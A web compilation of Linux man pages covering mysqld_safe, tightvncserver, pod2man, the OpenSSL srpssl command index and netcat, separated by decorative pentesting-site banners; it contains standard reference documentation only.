mysqld_safe tries to start an executable named mysqld. To override the default behavior and specify explicitly the name of the server you want to run, specify a –mysqld or –mysqld-version option to mysqld_safe. You can also use –ledir to indicate the directory where mysqld_safe should look for the server.

Many of the options to mysqld_safe are the same as the options to mysqld.

Options unknown to mysqld_safe are passed to mysqld if they are specified on the command line, but ignored if they are specified in the [mysqld_safe] or [mariadb_safe] groups of an option file.

mysqld_safe reads all options from the [mysqld], [server], [mysqld_safe], and [mariadb_safe] sections in option files. For example, if you specify a [mysqld] section like this, mysqld_safe will find and use the –log-error option:

[mysqld] log-error=error.log

For backward compatibility, mysqld_safe also reads [safe_mysqld] sections, although you should rename such sections to [mysqld_safe] in current installations.

mysqld_safe supports the options in the following list. It also reads option files and supports the options for processing them.

·

–help

Display a help message and exit.

·

**–basedir=**path

The path to the MariaDB installation directory.

·

**–core-file-size=**size

The size of the core file that mysqld should be able to create. The option value is passed to ulimit -c.

·

**–crash-script=**file

Script to call in the event of mysqld crashing.

·

**–datadir=**path

The path to the data directory.

·

**–defaults-extra-file=**path

The name of an option file to be read in addition to the usual option files. This must be the first option on the command line if it is used. If the file does not exist or is otherwise inaccessible, the server will exit with an error.

·

**–defaults-file=**file_name

The name of an option file to be read instead of the usual option files. This must be the first option on the command line if it is used.

·

–flush-caches

Flush and purge buffers/caches before starting the server.

·

**–ledir=**path

If mysqld_safe cannot find the server, use this option to indicate the path name to the directory where the server is located.

·

**–log-error=**file_name

Write the error log to the given file.

·

**–malloc-lib=**lib

Preload shared library lib if available.

·

**–mysqld=**prog_name

The name of the server program (in the ledir directory) that you want to start. This option is needed if you use the MariaDB binary distribution but have the data directory outside of the binary distribution. If mysqld_safe cannot find the server, use the –ledir option to indicate the path name to the directory where the server is located.

·

**–mysqld-version=**suffix

This option is similar to the –mysqld option, but you specify only the suffix for the server program name. The basename is assumed to be mysqld. For example, if you use –mysqld-version=debug, mysqld_safe starts the mysqld-debug program in the ledir directory. If the argument to –mysqld-version is empty, mysqld_safe uses mysqld in the ledir directory.

·

**–nice=**priority

Use the nice program to set the server’s scheduling priority to the given value.

·

–no-auto-restart, –nowatch, –no-watch

Exit after starting mysqld.

·

–no-defaults

Do not read any option files. This must be the first option on the command line if it is used.

·

–numa-interleave

Run mysqld with its memory interleaved on all NUMA nodes.

·

**–open-files-limit=**count

The number of files that mysqld should be able to open. The option value is passed to ulimit -n. Note that you need to start mysqld_safe as root for this to work properly!

·

**–pid-file=**file_name

The path name of the process ID file.

·

**–plugin-dir=**dir_name

Directory for client-side plugins.

·

**–port=**port_num

The port number that the server should use when listening for TCP/IP connections. The port number must be 1024 or higher unless the server is started by the root system user.

·

–skip-kill-mysqld

Do not try to kill stray mysqld processes at startup. This option works only on Linux.

·

**–socket=**path

The Unix socket file that the server should use when listening for local connections.

·

–syslog, –skip-syslog

–syslog causes error messages to be sent to syslog on systems that support the logger program. –skip-syslog suppresses the use of syslog; messages are written to an error log file.

·

**–syslog-tag=**tag

For logging to syslog, messages from mysqld_safe and mysqld are written with a tag of mysqld_safe and mysqld, respectively. To specify a suffix for the tag, use **–syslog-tag=**tag, which modifies the tags to be mysqld_safe-tag and mysqld-tag.

·

**–timezone=**timezone

Set the TZ time zone environment variable to the given option value. Consult your operating system documentation for legal time zone specification formats.

·

–user={user_name|user_id}

Run the mysqld server as the user having the name user_name or the numeric user ID user_id. (“User” in this context refers to a system login account, not a MariaDB user listed in the grant tables.)

If you execute mysqld_safe with the –defaults-file or –defaults-extra-file option to name an option file, the option must be the first one given on the command line or the option file will not be used. For example, this command will not use the named option file:

mysql> mysqld_safe –port=port_num –defaults-file=file_name

Instead, use the following command:

mysql> mysqld_safe –defaults-file=file_name –port=port_num

The mysqld_safe script is written so that it normally can start a server that was installed from either a source or a binary distribution of MariaDB, even though these types of distributions typically install the server in slightly different locations. mysqld_safe expects one of the following conditions to be true:

·

The server and databases can be found relative to the working directory (the directory from which mysqld_safe is invoked). For binary distributions, mysqld_safe looks under its working directory for bin and data directories. For source distributions, it looks for libexec and var directories. This condition should be met if you execute mysqld_safe from your MariaDB installation directory (for example, /usr/local/mysql for a binary distribution).

·

If the server and databases cannot be found relative to the working directory, mysqld_safe attempts to locate them by absolute path names. Typical locations are /usr/local/libexec and /usr/local/var. The actual locations are determined from the values configured into the distribution at the time it was built. They should be correct if MariaDB is installed in the location specified at configuration time.

Because mysqld_safe tries to find the server and databases relative to its own working directory, you can install a binary distribution of MariaDB anywhere, as long as you run mysqld_safe from the MariaDB installation directory:

shell> cd mysql_installation_directory shell> bin/mysqld_safe &

If mysqld_safe fails, even when invoked from the MariaDB installation directory, you can specify the –ledir and –datadir options to indicate the directories in which the server and databases are located on your system.

When you use mysqld_safe to start mysqld, mysqld_safe arranges for error (and notice) messages from itself and from mysqld to go to the same destination.

There are several mysqld_safe options for controlling the destination of these messages:

·

–syslog: Write error messages to syslog on systems that support the logger program.

·

–skip-syslog: Do not write error messages to syslog. Messages are written to the default error log file (host_name.err in the data directory), or to a named file if the –log-error option is given.

·

**–log-error=**file_name: Write error messages to the named error file.

If none of these options is given, the default is –skip-syslog.

Note

If –syslog and –log-error are both given, a warning is issued and –log-error takes precedence.

When mysqld_safe writes a message, notices go to the logging destination (syslog or the error log file) and stdout. Errors go to the logging destination and stderr.

Normally, you should not edit the mysqld_safe script. Instead, configure mysqld_safe by using command-line options or options in the [mysqld_safe] section of a my.cnf option file. In rare cases, it might be necessary to edit mysqld_safe to get it to start the server properly. However, if you do this, your modified version of mysqld_safe might be overwritten if you upgrade MariaDB in the future, so you should make a copy of your edited version that you can reinstall.

On NetWare, mysqld_safe is a NetWare Loadable Module (NLM) that is ported from the original Unix shell script. It starts the server as follows:

1.

Runs a number of system and option checks.

2.

Runs a check on MyISAM tables.

3.

Provides a screen presence for the MariaDB server.

4.

Starts mysqld, monitors it, and restarts it if it terminates in error.

5.

Sends error messages from mysqld to the host_name.err file in the data directory.

6.

Sends mysqld_safe screen output to the host_name.safe file in the data directory.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1879 - Linux cli command tightvncserver

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tightvncserver and provides detailed information about the command tightvncserver, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tightvncserver.

NAME 🖥️ tightvncserver 🖥️

a wrapper to launch an X server for VNC.

SYNOPSIS

vncserver [:display] [-geometry widthxheight] [-depth depth] [-pixelformat rgbNNN|bgrNNN] [-name desktop-name] [  -httpport int  ] [  -basehttpport int  ] [  -alwaysshared  ] [  -nevershared  ] [Xvnc-options…]

vncserver [  -clean  ] -kill :display
vncserver -help

DESCRIPTION

vncserver is a wrapper script for Xvnc, the free X server for VNC (Virtual Network Computing). It provides all capabilities of a standard X server, but does not connect to a display for itself. Instead, Xvnc creates a virtual desktop you can view or control remotely using a VNC viewer.

OPTIONS

You can add Xvnc options at the command line. They will be added to the invocation of Xvnc without changes. The options provided by the vncserver itself are as follows:

**:**display
The display number to use. If omitted, the next free display number is used.

-geometry widthxheight
Set desktop width and height.

-depth depth
Set the colour depth of the visual to provide, in bits per pixel. Must be a value between 8 and 32.

-pixelformat rgbNNN|bgrNNN
Set colour format for pixels representation. The viewer can do the conversion to any other pixel format, but it is faster if the depth and pixel format of the server is the same as the equivalent values on the viewer display.

-name string
This specifies the name of the desktop.

-clean
This option can be used in conjunction with

-kill **:**display
Stops the session running on the specified display.

-nevershared
Never allow shared desktops.

-alwaysshared
Always allow shared desktops.

-basehttpport int
The base http port to use for the java client applet (you have to install the tightvnc-java package to make this work). The real port number will be port = base + display num.

-httpport int
The http port to use for the java client applet (you have to install the tightvnc-java package to make this work).

-help
Prints a short usage notice to stderr.

EXAMPLES

vncserver
Invokes Xvnc on the next available display and with suitable defaults.

vncserver :1
Invokes Xvnc on display :1.

vncserver -geometry 800x600 -depth 16 :1
Invokes Xvnc on display :1 with desktop size of 800x600 pixels and color depth of 16 bits per pixel.

vncserver -kill :1
Shuts down Xvnc server on display :1.

FILES

/etc/tightvncserver.conf
System-wide configuration file of TightVNC Server.

$HOME/.vnc/tightvncserver.conf
User configuration file of TightVNC Server. Its setting override system-wide configuration.

SEE ALSO

Xvnc(1), vncviewer(1), vncpasswd(1), vncconnect(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Marcus Brinkmann <[email protected]>,
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1880 - Linux cli command pod2man

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pod2man and provides detailed information about the command pod2man, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pod2man.

NAME 🖥️ pod2man 🖥️

Convert POD data to formatted *roff input

SYNOPSIS

pod2man [–center=string] [–date=string] [–encoding=encoding] [–errors=style] [–fixed=font] [–fixedbold=font] [–fixeditalic=font] [–fixedbolditalic=font] [–guesswork=rule[,rule…]] [–name=name] [–nourls] [–official] [–release=version] [–section=manext] [–quotes=quotes] [–lquote=quote] [–rquote=quote] [–stderr] [–utf8] [–verbose] [input [output] …]

pod2man –help

DESCRIPTION

pod2man is a wrapper script around the Pod::Man module, using it to generate *roff input from POD source. The resulting *roff code is suitable for display on a terminal using nroff (1), normally via man (1), or printing using troff (1).

By default (on non-EBCDIC systems), pod2man outputs UTF-8 manual pages. Its output should work with the man program on systems that use groff (most Linux distributions) or mandoc (most BSD variants), but may result in mangled output on older UNIX systems. To choose a different, possibly more backward-compatible output mangling on such systems, use --encoding=roff (the default in earlier Pod::Man versions). See the –encoding option and “ENCODING” in Pod::Man for more details.

input is the file to read for POD source (the POD can be embedded in code). If input isn’t given, it defaults to STDIN. output, if given, is the file to which to write the formatted output. If output isn’t given, the formatted output is written to STDOUT. Several POD files can be processed in the same pod2man invocation (saving module load and compile times) by providing multiple pairs of input and output files on the command line.

–section, –release, –center, –date, and –official can be used to set the headers and footers to use. If not given, Pod::Man will assume various defaults. See below for details.

OPTIONS

Each option is annotated with the version of podlators in which that option was added with its current meaning.

-c string, –center=string
[1.00] Sets the centered page header for the .TH macro to string. The default is User Contributed Perl Documentation, but also see –official below.

-d string, –date=string
[4.00] Set the left-hand footer string for the .TH macro to string. By default, the first of POD_MAN_DATE, SOURCE_DATE_EPOCH, the modification date of the input file, or the current date (if input comes from STDIN) will be used, and the date will be in UTC. See “CLASS METHODS” in Pod::Man for more details.

-e encoding, –encoding=encoding
[5.00] Specifies the encoding of the output. encoding must be an encoding recognized by the Encode module (see Encode::Supported). The default on non-EBCDIC systems is UTF-8. If the output contains characters that cannot be represented in this encoding, that is an error that will be reported as configured by the –errors option. If error handling is other than die, the unrepresentable character will be replaced with the Encode substitution character (normally ?). If the encoding option is set to the special value groff (the default on EBCDIC systems), or if the Encode module is not available and the encoding is set to anything other than roff (see below), Pod::Man will translate all non-ASCII characters to \[uNNNN] Unicode escapes. These are not traditionally part of the *roff language, but are supported by groff and mandoc and thus by the majority of manual page processors in use today. If encoding is set to the special value roff, pod2man will do its historic transformation of (some) ISO 8859-1 characters into *roff escapes that may be adequate in troff and may be readable (if ugly) in nroff. This was the default behavior of versions of pod2man before 5.00. With this encoding, all other non-ASCII characters will be replaced with X. It may be required for very old troff and nroff implementations that do not support UTF-8, but its representation of any non-ASCII character is very poor and often specific to European languages. Its use is discouraged. WARNING: The input encoding of the POD source is independent from the output encoding, and setting this option does not affect the interpretation of the POD input. Unless your POD source is US-ASCII, its encoding should be declared with the =encoding command in the source. If this is not done, Pod::Simple will will attempt to guess the encoding and may be successful if it’s Latin-1 or UTF-8, but it will produce warnings. See perlpod (1) for more information.

–errors=style
[2.5.0] Set the error handling style. die says to throw an exception on any POD formatting error. stderr says to report errors on standard error, but not to throw an exception. pod says to include a POD ERRORS section in the resulting documentation summarizing the errors. none ignores POD errors entirely, as much as possible. The default is die.

–fixed=font
[1.0] The fixed-width font to use for verbatim text and code. Defaults to CW. Some systems may want CR instead. Only matters for troff output.

–fixedbold=font
[1.0] Bold version of the fixed-width font. Defaults to CB. Only matters for troff output.

–fixeditalic=font
[1.0] Italic version of the fixed-width font (something of a misnomer, since most fixed-width fonts only have an oblique version, not an italic version). Defaults to CI. Only matters for troff output.

–fixedbolditalic=font
[1.0] Bold italic (in theory, probably oblique in practice) version of the fixed-width font. Pod::Man doesn’t assume you have this, and defaults to CB. Some systems (such as Solaris) have this font available as CX. Only matters for troff output.

–guesswork=rule[,rule…]
[5.00] By default, pod2man applies some default formatting rules based on guesswork and regular expressions that are intended to make writing Perl documentation easier and require less explicit markup. These rules may not always be appropriate, particularly for documentation that isn’t about Perl. This option allows turning all or some of it off. The special rule all enables all guesswork. This is also the default for backward compatibility reasons. The special rule none disables all guesswork. Otherwise, the value of this option should be a comma-separated list of one or more of the following keywords:

functions
Convert function references like foo() to bold even if they have no markup. The function name accepts valid Perl characters for function names (including :), and the trailing parentheses must be present and empty.

manref
Make the first part (before the parentheses) of man page references like foo(1) bold even if they have no markup. The section must be a single number optionally followed by lowercase letters.

quoting
If no guesswork is enabled, any text enclosed in C<> is surrounded by double quotes in nroff (terminal) output unless the contents are already quoted. When this guesswork is enabled, quote marks will also be suppressed for Perl variables, function names, function calls, numbers, and hex constants.

variables
Convert Perl variable names to a fixed-width font even if they have no markup. This transformation will only be apparent in troff output, or some other output format (unlike nroff terminal output) that supports fixed-width fonts.

Any unknown guesswork name is silently ignored (for potential future compatibility), so be careful about spelling.

-h, –help
[1.00] Print out usage information.

-l, –lax
[1.00] No longer used. pod2man used to check its input for validity as a manual page, but this should now be done by podchecker (1) instead. Accepted for backward compatibility; this option no longer does anything.

–language=language
[5.00] Add commands telling groff that the input file is in the given language. The value of this setting must be a language abbreviation for which groff provides supplemental configuration, such as ja (for Japanese) or zh (for Chinese). This adds: .mso <language>.tmac .hla <language> to the start of the file, which configure correct line breaking for the specified language. Without these commands, groff may not know how to add proper line breaks for Chinese and Japanese text if the man page is installed into the normal man page directory, such as /usr/share/man. On many systems, this will be done automatically if the man page is installed into a language-specific man page directory, such as /usr/share/man/zh_CN. In that case, this option is not required. Unfortunately, the commands added with this option are specific to groff and will not work with other troff and nroff implementations.

–lquote=quote

–rquote=quote

[4.08] Sets the quote marks used to surround C<> text. –lquote sets the left quote mark and –rquote sets the right quote mark. Either may also be set to the special value none, in which case no quote mark is added on that side of C<> text (but the font is still changed for troff output). Also see the –quotes option, which can be used to set both quotes at once. If both –quotes and one of the other options is set, –lquote or –rquote overrides –quotes.

-n name, –name=name
[4.08] Set the name of the manual page for the .TH macro to name. Without this option, the manual name is set to the uppercased base name of the file being converted unless the manual section is 3, in which case the path is parsed to see if it is a Perl module path. If it is, a path like .../lib/Pod/Man.pm is converted into a name like Pod::Man. This option, if given, overrides any automatic determination of the name. Although one does not have to follow this convention, be aware that the convention for UNIX manual pages is for the title to be in all-uppercase, even if the command isn’t. (Perl modules traditionally use mixed case for the manual page title, however.) This option is probably not useful when converting multiple POD files at once. When converting POD source from standard input, the name will be set to STDIN if this option is not provided. Providing this option is strongly recommended to set a meaningful manual page name.

–nourls
[2.5.0] Normally, L<> formatting codes with a URL but anchor text are formatted to show both the anchor text and the URL. In other words: L<foo|http://example.com/> is formatted as: foo <http://example.com/> This flag, if given, suppresses the URL when anchor text is given, so this example would be formatted as just foo. This can produce less cluttered output in cases where the URLs are not particularly important.

-o, –official
[1.00] Set the default header to indicate that this page is part of the standard Perl release, if –center is not also given.

-q quotes, –quotes=quotes
[4.00] Sets the quote marks used to surround C<> text to quotes. If quotes is a single character, it is used as both the left and right quote. Otherwise, it is split in half, and the first half of the string is used as the left quote and the second is used as the right quote. quotes may also be set to the special value none, in which case no quote marks are added around C<> text (but the font is still changed for troff output). Also see the –lquote and –rquote options, which can be used to set the left and right quotes independently. If both –quotes and one of the other options is set, –lquote or –rquote overrides –quotes.

-r version, –release=version
[1.00] Set the centered footer for the .TH macro to version. By default, this is set to the version of Perl you run pod2man under. Setting this to the empty string will cause some *roff implementations to use the system default value. Note that some system an macro sets assume that the centered footer will be a modification date and will prepend something like Last modified: . If this is the case for your target system, you may want to set –release to the last modified date and –date to the version number.

-s string, –section=string
[1.00] Set the section for the .TH macro. The standard section numbering convention is to use 1 for user commands, 2 for system calls, 3 for functions, 4 for devices, 5 for file formats, 6 for games, 7 for miscellaneous information, and 8 for administrator commands. There is a lot of variation here, however; some systems (like Solaris) use 4 for file formats, 5 for miscellaneous information, and 7 for devices. Still others use 1m instead of 8, or some mix of both. About the only section numbers that are reliably consistent are 1, 2, and 3. By default, section 1 will be used unless the file ends in .pm, in which case section 3 will be selected.

–stderr
[2.1.3] By default, pod2man dies if any errors are detected in the POD input. If –stderr is given and no –errors flag is present, errors are sent to standard error, but pod2man does not abort. This is equivalent to --errors=stderr and is supported for backward compatibility.

-u, –utf8
[2.1.0] This option used to tell pod2man to produce UTF-8 output. Since this is now the default as of version 5.00, it is ignored and does nothing.

-v, –verbose
[1.11] Print out the name of each output file as it is being generated.

EXIT STATUS

As long as all documents processed result in some output, even if that output includes errata (a POD ERRORS section generated with --errors=pod), pod2man will exit with status 0. If any of the documents being processed do not result in an output document, pod2man will exit with status 1. If there are syntax errors in a POD document being processed and the error handling style is set to the default of die, pod2man will abort immediately with exit status 255.

DIAGNOSTICS

If pod2man fails with errors, see Pod::Man and Pod::Simple for information about what those errors might mean.

EXAMPLES

pod2man program > program.1 pod2man SomeModule.pm /usr/perl/man/man3/SomeModule.3 pod2man –section=7 note.pod > note.7

If you would like to print out a lot of man page continuously, you probably want to set the C and D registers to set contiguous page numbering and even/odd paging, at least on some versions of man (7).

troff -man -rC1 -rD1 perl.1 perldata.1 perlsyn.1 …

To get index entries on STDERR, turn on the F register, as in:

troff -man -rF1 perl.1

The indexing merely outputs messages via .tm for each major page, section, subsection, item, and any X<> directives.

AUTHOR

Russ Allbery <[email protected]>, based on the original pod2man by Larry Wall and Tom Christiansen.

COPYRIGHT AND LICENSE

Copyright 1999-2001, 2004, 2006, 2008, 2010, 2012-2019, 2022 Russ Allbery <[email protected]>

This program is free software; you may redistribute it and/or modify it under the same terms as Perl itself.

SEE ALSO

Pod::Man, Pod::Simple, man (1), nroff (1), perlpod (1), podchecker (1), perlpodstyle (1), troff (1), man (7)

The man page documenting the an macro set may be man (5) instead of man (7) on your system.

The current version of this script is always available from its web site at <https://www.eyrie.org/~eagle/software/podlators/>. It is also part of the Perl core distribution as of 5.6.0.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1881 - Linux cli command srpssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command srpssl and provides detailed information about the command srpssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the srpssl.

NAME 🖥️ srpssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1882 - Linux cli command netcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command netcat and provides detailed information about the command netcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the netcat.

NAME 🖥️ netcat 🖥️

TCP/IP swiss army knife

SYNOPSIS

nc [-options] hostname port[s] [ports] …
nc -l -p port [-options] [hostname] [port]

DESCRIPTION

netcat is a simple unix utility which reads and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable “back-end” tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. Netcat, or “nc” as the actual program is named, should have been supplied long ago as another one of those cryptic but standard Unix tools.

In the simplest usage, “nc host port” creates a TCP connection to the given port on the given target host. Your standard input is then sent to the host, and anything that comes back across the connection is sent to your standard output. This continues indefinitely, until the network side of the connection shuts down. Note that this behavior is different from most other applications which shut everything down and exit after an end-of-file on the standard input.

Netcat can also function as a server, by listening for inbound connections on arbitrary ports and then doing the same reading and writing. With minor limitations, netcat doesn’t really care if it runs in “client” or “server” mode – it still shovels data back and forth until there isn’t any more left. In either mode, shutdown can be forced after a configurable time of inactivity on the network side.

And it can do this via UDP too, so netcat is possibly the “udp telnet-like” application you always wanted for testing your UDP-mode servers. UDP, as the “U” implies, gives less reliable data transmission than TCP connections and some systems may have trouble sending large amounts of data that way, but it’s still a useful capability to have.

You may be asking “why not just use telnet to connect to arbitrary ports?” Valid question, and here are some reasons. Telnet has the “standard input EOF” problem, so one must introduce calculated delays in driving scripts to allow network output to finish. This is the main reason netcat stays running until the *network* side closes. Telnet also will not transfer arbitrary binary data, because certain characters are interpreted as telnet options and are thus removed from the data stream. Telnet also emits some of its diagnostic messages to standard output, where netcat keeps such things religiously separated from its *output* and will never modify any of the real data in transit unless you *really* want it to. And of course telnet is incapable of listening for inbound connections, or using UDP instead. Netcat doesn’t have any of these limitations, is much smaller and faster than telnet, and has many other advantages.

OPTIONS

-c string
specify shell commands to exec after connect (use with caution). The string is passed to /bin/sh -c for execution. See the -e option if you don’t have a working /bin/sh (Note that POSIX-conformant system must have one).

-e filename
specify filename to exec after connect (use with caution). See the -c option for enhanced functionality.

-g gateway
source-routing hop point[s], up to 8

-G num
source-routing pointer: 4, 8, 12, …

-h
display help

-i secs
delay interval for lines sent, ports scanned

-l
listen mode, for inbound connects

-n
numeric-only IP addresses, no DNS

-o file
hex dump of traffic

-p port
local port number (port numbers can be individual or ranges: lo-hi [inclusive])

-q seconds
after EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever.

-b
allow UDP broadcasts

-r
randomize local and remote ports

-s addr
local source address

-t
enable telnet negotiation

-u
UDP mode

-v
verbose [use twice to be more verbose]

-w secs
timeout for connects and final net reads

-C
Send CRLF as line-ending

-z
zero-I/O mode [used for scanning]

-T type
set TOS flag (type may be one of “Minimize-Delay”, “Maximize-Throughput”, “Maximize-Reliability”, or “Minimize-Cost”.)

COPYRIGHT

Netcat is entirely my own creation, although plenty of other code was used as examples. It is freely given away to the Internet community in the hope that it will be useful, with no restrictions except giving credit where it is due. No GPLs, Berkeley copyrights or any of that nonsense. The author assumes NO responsibility for how anyone uses it. If netcat makes you rich somehow and you’re feeling generous, mail me a check. If you are affiliated in any way with Microsoft Network, get a life. Always ski in control. Comments, questions, and patches to [email protected].

NOTES

Some port names in /etc/services contain hyphens – netcat currently will not correctly parse those unless you escape the hyphens with backslashes (e.g. “netcat localhost ‘ftp\data’”).

BUGS

Efforts have been made to have netcat “do the right thing” in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me and tell me how you think it should behave. If netcat is not able to do some task you think up, minor tweaks to the code will probably fix that. It provides a basic and easily-modified template for writing other network applications, and I certainly encourage people to make custom mods and send in any improvements they make to it. Continued feedback from the Internet community is always welcome!

EXAMPLES

